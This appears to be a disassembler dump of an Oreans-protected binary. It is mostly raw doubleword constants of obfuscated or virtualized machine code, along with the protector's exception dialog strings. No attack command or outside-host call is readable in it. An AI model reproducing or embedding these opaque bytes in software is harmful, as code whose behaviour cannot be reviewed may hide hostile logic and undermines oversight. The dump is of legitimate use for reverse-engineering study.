0F6028589h, 6AFC0937h, 66D28100h dd 6A1FD61Ch, 819D8900h, 6A093504h, 89006A00h, 351025B5h dd 6A006A09h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 72C9C355h, 3AC63CA5h, 0D7D6C781h, 858D7CA8h, 937F7E0h dd 50F98B66h, 6860Fh, 958B0000h, 9352601h, 8D8B016Ah, 93530A9h dd 6A016Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 60608EC3h, 66C1BF0Fh, 6A61F08Bh, 5D8D8B01h dd 68093530h, 0F01FFh, 83FAB70Fh, 3523CDBDh, 840F0009h dd 14h, 1199533h, 858D0935h, 937F65Fh, 27E9D08Bh, 0F8000000h dd 0F635858Dh, 6A0937h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0B966A3C3h, 8950EE67h, 351F69B5h dd 0FBB70F09h, 85896050h, 93506D1h, 7D18166h, 0B5FF6135h dd 937F602h, 0CE9h, 3117A600h, 22233D72h, 0CCCDDD66h, 0EE95FF16h dd 0F0937F5h, 0C80h, 6880F00h, 89000000h, 350B398Dh, 85CA8B09h dd 19850FC0h, 66000000h, 0E87E2CBFh, 7, 30F3D66h, 66C09768h dd 0E95FD38Bh, 2Fh, 0F6068589h, 81510937h, 7AC5E4C7h, 0B5FF5A1Eh dd 937F606h, 561ABA66h, 2C7195FFh, 85890935h, 9352FF1h dd 850FC085h, 3, 6A5FF853h, 52006A10h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0FB5152CEh dd 2E18D29h, 76BF0935h, 837255F6h, 3523CDBDh, 840F0009h dd 44h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh dd 0FC35343h, 325DF423h, 0FD8EECAh, 858DFBBFh, 937F65Fh dd 1091B589h, 1FE90935h, 0E9000000h, 8, 0A2D2C30Bh, 0F09435CEh dd 0F635858Dh, 7E90937h, 0F1000000h, 18607929h, 5750DB2Dh dd 0FF59D38Bh, 37F602B5h, 51006A09h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 95FF1535h dd 937F5FAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 17C35646h, 0F1CB8BBCh, 68B0F90h, 8B000000h, 35226995h dd 0FC08509h, 685h, 81950B00h, 89093507h, 37F60685h, 0DDBD2309h dd 6A093511h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 661F105Dh, 2981D7F0h, 35015D8Dh dd 89006A09h, 350D3185h, 6B5FF09h, 0F0937F6h, 386h, 9DD18000h dd 0A0C98166h, 0F295FF50h, 850937F5h, 850FC0h, 0FF000000h dd 37F606B5h, 18E0F09h, 0FC000000h, 2C7195FFh, 6A0935h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0BD04B8C3h, 85CB6827h, 4850FC0h, 66000000h, 6ADEB2BAh dd 503CB500h, 5AF8BF0Fh, 8068h, 6AC88A00h, 45852903h, 6A093517h dd 0CA8B6600h, 8960006Ah, 35316DB5h, 10E809h, 82790000h dd 5898D3AFh, 0CA6533CCh, 4C7EAA07h, 0C9800ECFh, 66615950h dd 68ECF9B9h, 0C0000000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 2DC35545h, 0EFAFEE6Bh, 12E9h, 0C0018600h dd 392105F7h, 5DBF9B97h, 9C56ED9Bh, 0FFA56AC4h, 37F67EB5h dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 3A5C45F0h, 0F1994CD0h, 0E1B589F6h, 0FF09351Ah dd 35244195h, 8166F909h, 834386E1h, 850FFFF8h, 618h, 11DA8166h dd 0EC85FF54h, 33093800h, 35280995h, 0ECBD8309h, 2093800h dd 4A9840Fh, 89600000h, 3525718Dh, 599D8909h, 61093532h dd 0F59F858Dh, 6A005Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 958B64C3h, 9351AF1h, 0D0BFD0FFh dd 8D7F5522h, 5AEFF285h, 8B666000h, 8B6660F8h, 0F1B70FF7h dd 0D0FF6161h, 0EF8AC08Bh, 26A1BD83h, 75000935h, 79BD8309h dd 93530h, 53501974h, 0D8B8C08Bh, 89000007h, 352AC185h dd 389D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh, 17740009h dd 0D8B85350h, 89000007h, 352AC185h, 279D8D09h, 0FF0937B1h dd 9585BD3h, 352DD985h, 0BD8BF809h, 9350A3Dh, 9529C08Bh dd 9351041h, 0F003F68h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 7B1AC5F4h, 68C0Fh, 0BD890000h dd 93503F5h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0FB4AFFC3h, 12E8h, 0EC351600h, 8A3AFE92h dd 0F2FD2E4Fh, 74501B60h, 0E95D9DB9h, 0Ch, 4CA8C124h, 43F36D51h dd 85C4CD45h, 0F006A59h, 1684h, 11E900h, 47E70000h, 0F457506h dd 0FA03011Bh, 0D03E0E63h, 0E97DB200h, 6, 0CAF96060h, 95FF1E63h dd 9352F59h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 4DC35343h, 6810F89h, 89000000h, 351BF19Dh, 6AC08509h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0D327C353h, 7E01DC50h, 0AE9D9h, 94790000h dd 1FB37044h, 0C90613E3h, 0F6028589h, 0EE90937h, 4C000000h dd 0FEE8AB70h, 0A02634B0h, 688AFD36h, 1FF68D4h, 0BD8B000Fh dd 93526A9h, 23CDBD83h, 0F000935h, 2584h, 0A5858900h, 8D093505h dd 37F65F85h, 0D78B6609h, 2EE9h, 9E900h, 93980000h, 0B49A47BBh dd 66CB0113h, 858DCB8Bh, 937F635h, 12E9h, 9E16A400h, 37DEEDB3h dd 4076958Dh, 0C2A1AA40h, 505CDA2Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 57C35545h, 0CF8A7F9Bh, 0F602B5FFh dd 8E90937h, 8D000000h, 6C969D9h, 0FFAF9117h, 37F5FA95h dd 8589FC09h, 937F606h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 6FC35545h, 8F0F979Bh, 18h, 0BE860h, 4490000h dd 43999E7Ch, 8CBBFAEBh, 0E0B85B3Dh, 612B0423h, 0B8585C7h dd 935h, 9D290000h, 9350F5Dh, 0F606BD83h, 0F000937h, 1D884h dd 49BD0900h, 8D093504h, 37F8E485h, 0D0B70F09h, 51006A50h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 6C1E77AAh, 89154EE3h, 350BE9BDh, 9016A09h, 35264D95h dd 8C0F09h, 0FF000000h, 37F606B5h, 0FE909h, 73600000h dd 14B8E316h, 9DEE097Bh, 0B6C03AECh, 0FE95FF6Ch, 6A0937F5h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 235FC351h, 83D1E884h, 8BF8CE7Bh, 6B5FFCAh dd 6A0937F6h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0E69FC355h, 0BE5EE0A6h, 4AE05277h dd 0ABDB589h, 8B660935h, 7195FFD6h, 8909352Ch, 35078185h dd 1FF6809h, 8D2B000Fh, 93506C9h, 23CDBD83h, 0F000935h dd 3184h, 69BD2B00h, 8D09352Fh, 37F65F85h, 6E909h, 9DA70000h dd 898CE7ABh, 21E9h, 10E900h, 0F56D0000h, 9CA3292Bh, 0EDAF7C43h dd 0B45EB6E2h, 858DE0B7h, 937F635h, 9E14CA81h, 6A5006D7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0BE2BC353h, 0FCD181BAh, 0FF7BF0C1h, 37F602B5h dd 0F2AB609h, 95FFFBB7h, 937F5FAh, 0F6068589h, 8D8B0937h dd 9350239h, 0F606B5FFh dd 6A0937h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 620020C3h, 0FFD1B70Fh, 37F5F695h, 0EE809h dd 4B3A0000h, 0CDB8D251h, 314ABDF9h, 0F3F8570Fh, 300D9589h dd 0FF5F0935h, 37F606B5h, 168D0F09h, 0E9000000h, 11h, 1F288C78h dd 0FF9FC8CEh, 265E98A9h, 0B47E623Ah, 7195FF17h, 3109352Ch dd 3531F9B5h, 0F652E909h, 8166FFFFh, 0FF70F3DAh, 38014FB5h dd 9E809h, 45DC0000h, 0C1BE2080h, 0F672782h, 68Eh, 0BD958B00h dd 5909350Eh, 0D0595FFh, 6A0935h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 858BDEC3h, 9352E71h dd 0EE8h, 1C9E8900h, 7D3CAA5Dh, 1E87F036h, 895EF87Ch, 351B79BDh dd 0F6E95A09h, 6A000005h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 66B5C355h, 19A9CE6Eh dd 8D8E59BAh, 37F904B5h, 50006A09h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 86C28915h, 5218D89h, 85890935h dd 9350DB5h, 0A719858Dh, 958B0937h, 9352A75h, 35B9D0FFh dd 6A3390CEh, 8B96600h, 0C995FF67h, 0E909351Ah, 7, 58CBA4D0h dd 8BA5A7C9h, 4D8D01F3h, 0FC093532h, 0A719858Dh, 0FE90937h dd 8000000h, 8F597D31h, 48635C1Ch, 9017CF4Bh, 0D0FF87D8h dd 32118D8Bh, 6A0935h, 6860Fh, 8D8B0000h, 9350161h, 0A2CECF81h dd 95FF2488h, 9351AC9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0DBC35343h, 0FCCCF348h, 9EB5B966h, 5E8C08Bh dd 0BB000000h, 37F2EAD2h, 5AD08B66h, 26A1BD83h, 75000935h dd 79BD8309h, 93530h, 53501974h, 0D9B8C08Bh, 89000007h dd 352AC185h, 389D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh dd 17740009h, 0D9B85350h, 89000007h, 352AC185h, 279D8D09h dd 0FF0937B1h, 60585BD3h, 2FC99D89h, 8D290935h, 93502F9h dd 0FA8B6661h, 0BA66C08Bh, 0BD8BDBCBh, 9352245h, 12E850h dd 7450000h, 2ACE512Fh, 2ABA40B0h, 0A593C264h, 0EC3D4573h dd 59958Bh, 8B5F0935h, 8D8501D8h, 53093511h, 29E99D8Dh dd 38B0935h, 438B0389h, 50438950h, 0E89D8Dh, 38B0938h dd 8A5B0389h, 459589E8h, 6A093503h, 0E909B600h, 9, 46676C82h dd 72EF93Ch, 0E8858D0Eh, 66093800h, 50FD75BFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0EC35343h, 0E6A55C5Eh dd 0F68CFE8Ch, 59958BFFh, 6A09352Ch, 2DCD8060h, 29E9858Dh dd 870F0935h, 0Eh, 7E950h, 0D4150000h, 4A2EF20Bh, 0F8505AC4h dd 8B66006Ah, 118F0FD6h, 0E9000000h, 0Ch, 0D7F2CA0Eh, 92105A13h dd 2FF3795Ah, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0BCF13FC3h, 0F875DBDDh, 8BE38C81h dd 353239BDh, 6850F09h, 8B000000h, 350A5995h, 18006809h dd 0BA600000h, 3870A5C5h, 53613AB7h, 7D95FFF8h, 6A093511h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0E8CDC356h, 0Dh, 0A4B75839h, 83402F90h, 3AA5E898h dd 2FE981EFh, 5F368496h, 2CE595FFh, 0DE80935h, 13000000h dd 4CB34FC5h, 3FD4F9F2h, 0CB93A8CEh, 0B5FF5AF5h, 938014Fh dd 5E9h, 0DAFBD100h, 95FF4F27h, 9350D05h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0F3C35343h, 12E08A65h dd 89053A1Bh, 35129985h, 0E9858D09h, 0FC093529h, 0C718408Bh dd 35027585h, 9, 0D1BF0F00h, 23CDBD83h, 0F000935h, 2484h dd 68A0F00h, 89000000h, 3511C1B5h, 8C3D09h, 830F0000h dd 1EBh, 17458D8Bh, 1BE90935h, 8B000000h, 963DF9h, 830F0000h dd 1D3h, 6840Fh, 958B0000h, 9350E39h, 858DD08Bh, 5AF59Fh dd 16258509h, 0D0FF0935h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 9DC35747h, 2EE8FB4Fh, 0DAAFB380h, 816660A3h dd 89A21DDFh, 3500D195h, 95896109h, 9353341h, 0EFF2858Dh dd 8951005Ah, 350EBDBDh, 0D0FF5A09h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0BAC35141h, 6F77B123h, 0FCCEFA6h dd 38Dh, 0D18B6600h, 0BD8BC08Bh, 9351B8Dh, 26A1BD83h, 75000935h dd 79BD8309h, 93530h, 53501974h, 0C6B8C08Bh, 8900000Bh dd 352AC185h, 389D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh dd 17740009h, 0C6B85350h, 8900000Bh, 352AC185h, 279D8D09h dd 0FF0937B1h, 6A585BD3h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0C335C355h, 0D5E389D4h dd 0C08B7D15h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0BC35646h, 0D18B6613h, 16618D0Bh, 8E0F0935h, 0Ch dd 6830Fh, 0B5890000h, 9352BF9h, 0FFFF883h, 4C85h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 660EFB65h, 3029331h, 85C7F5EDh, 9350595h, 0 dd 6890Fh, 8D030000h, 93529E5h, 0BFE9h, 820F00h, 0E9000000h dd 1Bh, 1F883F9h, 11850Fh, 0BD330000h, 9353269h, 0ECE9h dd 95958B00h, 0E909350Eh, 0FFFFF0D0h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 90C35646h, 8B9A623Eh, 63BA51C0h dd 5A68BF61h, 26A1BD83h, 75000935h, 79BD8309h, 93530h dd 53501974h, 0DDB8C08Bh, 89000007h, 352AC185h, 389D8D09h dd 0FF0937B4h, 83585BD3h, 353079BDh, 17740009h, 0DDB85350h dd 89000007h, 352AC185h, 279D8D09h, 0FF0937B1h, 66585BD3h dd 0C981D08Bh, 30E3A303h, 880FC08Bh, 5, 9356D4BAh, 4DB5891Dh dd 0E909352Dh, 217h, 0FEEC858Dh, 6A0937h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E988A4C3h dd 0Dh, 0F40CAEEFh, 0C2DE3E54h, 0A3D62D55h, 0DB65BF63h dd 0D38B0919h, 0E48589h, 2FE90938h, 31000000h, 35286595h dd 0F4858D09h, 600937FCh, 8E9DE8Bh, 96000000h, 0CF841891h dd 61C421B6h, 798D8B40h, 8909351Ch, 3800E485h, 871FBF09h dd 346A6073h, 1E11858Dh, 0FF500935h, 3800E4B5h, 0FF006A09h dd 3525A195h, 7F88309h, 162840Fh, 8C660000h, 4C3F6DBh dd 0FC850Fh, 85C60000h, 935179Dh, 0B8526856h, 0B5FF9CA8h dd 9350EC9h, 3898858Dh, 0D0FF0935h, 68046Ah, 6A000010h dd 0FF006A64h, 578589D0h, 0C6093801h, 35179D85h, 9B684709h dd 0FFEC18ACh, 350EC9B5h, 98858D09h, 0FF093538h, 8BD0FFD0h dd 9D85C6F0h, 4F093517h, 2F266168h, 21B5FFC6h, 8D093526h dd 35389885h, 8DD0FF09h, 3801539Dh, 286A5309h, 85D0FF56h dd 0C60075C0h, 35179D85h, 98684109h, 0FFDB8764h, 352621B5h dd 98858D09h, 0FF093538h, 708589D0h, 0C6093801h, 35179D85h dd 0A4684C09h, 0FF80A4E7h, 352621B5h, 98858D09h, 0FF093538h dd 579D8BD0h, 8D093801h, 8D53045Bh, 38015C9Dh, 6A5309h dd 9D8BD0FFh, 9380157h, 103C7h, 43C70000h, 20Ch, 3D85C700h dd 93530h, 6A000000h, 6A006A00h, 579D8B00h, 53093801h dd 0B5FF006Ah, 9380153h, 17095FFh, 85C60938h, 935179Dh dd 0F7976845h, 0B5FF92A5h, 935057Dh, 3898858Dh, 0D0FF0935h dd 26A006Ah, 8C66D0FFh, 4C3F6DBh, 9D8B3275h, 9380157h dd 0C43C7h, 6A000000h, 8B006A00h, 3801579Dh, 6A5309h, 153B5FFh dd 95FF0938h, 9380170h, 153B5FFh, 95FF0938h, 9352CE5h dd 95FF006Ah, 9351AC9h, 0CE9h, 9447E500h, 9685039Ah, 200EED23h dd 0F59D293Ch, 8D09350Ch, 3833A485h, 0FEB70F09h, 7BE28166h dd 0B8605048h, 0AF0F9A8h, 68E0Fh, 958B0000h, 93527B9h dd 35FF6461h, 0 dd 0CB18A1B9h, 0C98D896Bh, 64093525h, 2589h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E88CB3C3h, 12h, 657AD2Ah, 0FF808A05h, 44681A80h, 46B38904h dd 0BA66F7F0h, 665F6FDBh, 0B4E9D781h, 2365BD83h, 0F000935h dd 7384h, 0A830F00h, 0E9000000h, 5, 68E5D18h, 19BD83DEh dd 109351Ch, 56850Fh, 0BD8B0000h, 9352791h, 570BD80h, 0F000938h dd 4385h, 75958B00h, 2909352Ch, 35012D95h, 1B8E909h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0D1807DC3h, 9E9BBh, 75560000h, 7F819D15h, 6643C30Ah dd 0A4A4D181h, 6ADB33h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0EB251DC3h, 830F2A74h, 6, 2C599589h dd 0C0330935h, 0AE9h, 89F59B00h, 0D454BAE2h, 408A69A8h dd 0B073F0Fh, 58F64h, 83000000h, 6A04C4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 372ABFC3h dd 0D4340EB9h, 8D8BD5C8h, 93524C1h, 0FE960h, 43560000h dd 9CCEAB7Eh, 6E620A9Ch, 0A310B152h, 21858B75h, 6109350Ah dd 0FFFFB83h, 1284h, 0C18D8900h, 89093506h, 35000595h dd 0CEE909h, 0E9F80000h, 7Dh, 4C8BF58Ah, 81C70C24h, 0A4h dd 0FFFFFFFFh, 0B88183h, 33040000h, 5C8BC3C0h, 0E8550C24h dd 0 aBa38Lg db ']│Мф38',9,'▀┐╦',0 align 10h dd 74858D00h, 89093834h, 0B883h, 0C0335D00h, 50006AC3h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 89C96287h, 57006A4Eh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0BC858DAFh, 66093833h, 50ED25BFh dd 0FF6421B6h, 35h, 398D8B00h, 64093528h, 2589h, 0CA8A0000h dd 0AB9h, 0D704B800h, 64054855h, 0BB0DF781h, 8685D465h dd 34B640BAh, 0E8EA8100h, 0ED00345Fh, 5868FB81h, 0A75564Dh dd 0FBD85C7h, 10935h, 8F640000h, 5, 4C48300h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0FCC35040h, 0F547EC78h dd 7EB3A19Dh, 2185899Bh, 0BA09352Eh, 2DC74C88h, 0C08BB3B1h dd 8BD38B66h, 3522DD95h, 0A1BD8309h, 93526h, 0BD830975h dd 9353079h, 50197400h, 0B8C08B53h, 43Dh, 2CA98589h, 9D8D0935h dd 937B49Fh, 585BD3FFh, 3079BD83h, 74000935h, 0B8535017h dd 43Dh, 2CA98589h, 9D8D0935h, 937B140h, 585BD3FFh, 2699BD33h dd 860F0935h, 0Bh, 6E9h, 0FE085100h, 8B1A40D0h, 13AE9C0h dd 40000h, 2E310000h, 353538h, 7 dup(0) aExceptionInfor db 'Exception Information',0 aPleaseSendTheF db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 aGX5 db '┐╫∙',0Dh,'5',9,0 db 0Fh dd 12D84h, 57858D00h, 500937AFh, 0AEC1858Dh, 68500937h dd 80000001h, 0AF6795FFh, 858D0937h, 9383524h, 2E858D50h dd 50093835h, 6A006Ah, 0AED5858Dh, 0FF500937h, 37AF57B5h dd 0FD95FF09h, 8D09351Eh, 38352485h, 858D5009h, 9383532h dd 6A006A50h, 0E7858D00h, 500937AEh, 0AF57B5FFh, 95FF0937h dd 9351EFDh, 3524858Dh, 8D500938h, 38353E85h, 6A5009h dd 858D006Ah, 937AF34h, 57B5FF50h, 0FF0937AFh, 351EFD95h dd 24858D09h, 50093835h, 3546858Dh, 6A500938h, 8D006A00h dd 37AF5285h, 0B5FF5009h, 937AF57h, 1EFD95FFh, 858D0935h dd 9383524h, 42858D50h, 50093835h, 6A006Ah, 0AF3B858Dh dd 0FF500937h, 37AF57B5h, 0FD95FF09h, 8D09351Eh, 38352485h dd 858D5009h, 9383536h, 6A006A50h, 43858D00h, 500937AFh dd 0AF57B5FFh, 95FF0937h, 9351EFDh, 3524858Dh, 8D500938h dd 38353A85h, 6A5009h, 858D006Ah, 937AF4Ah, 57B5FF50h dd 0FF0937AFh, 351EFD95h, 57B5FF09h, 0FF0937AFh, 351AED95h dd 0A2E909h, 0BD830000h, 9352C5Dh, 95840F00h, 83000000h dd 351C19BDh, 850F0009h, 11h, 0C05958Bh, 0C2810935h, 1CF8h dd 0FE9h, 0E9958D00h, 8B093529h, 0C2813452h, 3BD4C340h dd 1C699589h, 0BD830935h, 9351C69h, 55840F00h, 8B000000h dd 351C699Dh, 4CC38309h, 8589038Bh, 938352Eh, 1C699D8Bh dd 0C3830935h, 89038B50h, 38353285h, 699D8B09h, 8309351Ch dd 38B54C3h, 353E8589h, 9D8B0938h, 9351C69h, 8B58C383h dd 42858903h, 8B093835h, 351C699Dh, 5CC38309h, 8589038Bh dd 9383536h, 0D95BD83h, 0F000935h, 0D85h, 5DBD8300h, 9352Ch dd 68840Fh, 0B5FF0000h, 9383546h, 353AB5FFh, 0B5FF0938h dd 9383536h, 3542B5FFh, 0B5FF0938h, 938353Eh, 3532B5FFh dd 0B5FF0938h, 938352Eh, 3528858Dh, 8D500938h, 38356085h dd 858D5009h, 9351F9Dh, 5995FF50h, 83093527h, 406A24C4h dd 354A858Dh, 8D500938h, 351F9D85h, 6A5009h, 25A195FFh dd 16A0935h, 1AC995FFh, 0C18B0935h, 8BD78B60h, 51006AC0h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0B4D94EDFh, 525DF728h, 5AD18B66h, 26A1BD83h, 75000935h dd 79BD8309h, 93530h, 53501974h, 0EB8C08Bh, 89000004h dd 352AC185h, 389D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh dd 17740009h, 0EB85350h, 89000004h, 352AC185h, 279D8D09h dd 0FF0937B1h, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0ED78C356h, 0C46CB9C5h dd 2800F60h, 51000000h, 66FBBE5Fh, 6A616DA4h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 540EC353h, 0CE8B6653h, 10E959h, 9E8F0000h, 0B256CB8Ah dd 87D7C663h, 0C788571Fh, 0C08BBA8Fh, 83F6BF0Fh, 352365BDh dd 840F0009h, 2Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 14C35343h, 3800Fh, 8B660000h, 27DE9D0h dd 0BF0F0000h, 0E9DF8CF7h, 11h, 57D0EB61h, 4E5F00D3h, 24027A59h dd 18DDD3C2h, 0C7F76600h, 850F0004h, 257h, 10E960h, 5D260000h dd 53225E3Ch, 0DF6AC66Ch, 0A31E6446h, 0BF612F2Bh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F9C35141h dd 0DD052BC1h, 0B4AFED2Ah, 11E9D6h, 0D5B90000h, 0FF861363h dd 8C7EEA76h, 0BD402976h, 8D37C50Bh, 383BFB9Dh, 10E909h dd 0EA470000h, 0F5162D95h, 0D97C35A6h, 6C47ADDAh, 0E950BEBAh dd 8, 4B4529B5h, 0B5A1C70Ah, 0F241C89h, 489h, 0F7BE6600h dd 35FF645Ch, 0 aFbscsdi db 'f│АГИd┴%',0 align 4 dd 10E9h, 0BCE88900h, 8DEFED6Ah, 718F643Dh, 5E6C2BA2h dd 0BAC48B92h, 60E9E6D8h, 0EB01CDh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0ADC35545h, 0ABCBBABCh, 6A57D0h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 324C73C3h, 0EC8B5FA3h, 0C5804288h, 58F64D0h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0F5C35545h dd 0C4831FF4h, 13E904h, 17F0000h, 7CA423BFh, 3DC2B63Eh dd 0E778DD73h, 27168F73h, 22C9803Bh, 840FC00Bh, 103h, 11E8D78Bh dd 0AF000000h, 0B4D3CB5Dh, 0D1DAB56Ah, 0D074B97Dh, 0CCD0BAA6h dd 830Fh, 615E0000h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0B7C35646h, 52503BC5h, 98DE8050h, 0D18B5A5Eh dd 7099BD8Dh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 685D3AC3h, 0BAF8AF61h, 1B3F31D9h dd 1B8h, 6E95000h, 5D000000h, 294F1B4Dh, 0E7FF5E3Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 7AC35242h, 27C1DD12h dd 5C8B577Ch, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh, 0B0h dd 0B88383h, 5F020000h, 0E9C3C033h, 0Bh, 3C40226Dh, 0F28597D3h dd 6A92F9D8h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0F6D3C351h, 9C1B5C34h, 8166A55Bh dd 6171FAE2h, 0DE8h, 1A829200h, 6179D872h, 71EACB4Eh, 0CA8097B7h dd 0C08B597Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 1AC35343h, 6EB1C43Eh, 26A1BD83h, 75000935h, 79BD8309h dd 93530h, 53501974h, 0EB8C08Bh, 89000004h, 352CA985h dd 9F9D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh, 17740009h dd 0EB85350h, 89000004h, 352CA985h, 409D8D09h, 0FF0937B1h dd 60585BD3h, 0A8C2FFBEh, 6A6170h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 0C08B33C3h, 18EBC28Bh dd 9B46F317h, 5 dup(0) dd 20BE9h, 5C8B6000h, 0E82424h, 5D000000h, 3D29ED81h, 0C2610938h dd 0E6E90004h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh dd 0F6E90008h, 0FFFFFFh, 0 dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 383D61B5h, 0E68109h dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h, 383D65B5h dd 0E9860F09h, 0FFFFFFFh, 220FD820h, 6160CFD8h, 8C6650C3h dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h dd 9351C69h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh, 2404FF58h dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 3525B595h, 10F5009h dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h, 2588966h dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 9351C69h dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h dd 0A03E380h, 38840FDBh, 0BB000000h, 2, 1C69858Bh, 18860935h dd 850FDB0Ah, 0FFFFFFF6h, 2EC985C7h, 935h, 448B0000h, 988B0824h dd 1000h, 10009889h, 188B0000h, 0AE91889h, 0C7000000h dd 352EC985h, 10009h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h dd 13h, 2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 